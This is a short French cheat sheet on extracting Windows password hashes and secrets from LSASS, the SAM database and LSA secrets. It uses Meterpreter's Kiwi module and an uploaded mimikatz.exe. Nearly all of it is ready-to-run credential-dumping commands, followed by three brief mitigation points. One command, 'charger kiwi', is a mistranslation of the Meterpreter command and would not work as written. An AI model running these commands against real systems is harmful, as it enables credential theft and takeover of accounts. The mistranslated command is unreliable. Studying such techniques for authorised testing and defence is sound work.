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# Extraction des hachages Windows avec Mimikatz
Mimikatz et Kiwi de Meterpreter peuvent extraire des secrets Windows depuis LSASS, la base de données SAM et les secrets LSA. Utilisez les résultats pour valider l’impact d’un accès local ou d’une session compromise.
## Module Kiwi de Meterpreter
```
charger kiwi
```
Lister les identifiants accessibles :
```
creds_all
```
## Extraire les secrets SAM et LSA
```
lsa_dump_sam
```
```
lsa_dump_secrets
```
## Exécuter Mimikatz
```
upload /usr/share/windows-resources/mimikatz/x64/mimikatz.exe
lsadump::sam
lsadump::secrets
sekurlsa::logonpasswords
```
## Points clés
* LSASS peut contenir des identifiants provenant de sessions de connexion actives.
* SAM contient les hachages NTLM des comptes locaux.
* Corrigez avec Credential Guard, une exposition réduite des administrateurs locaux et la surveillance de l’accès à LSASS.
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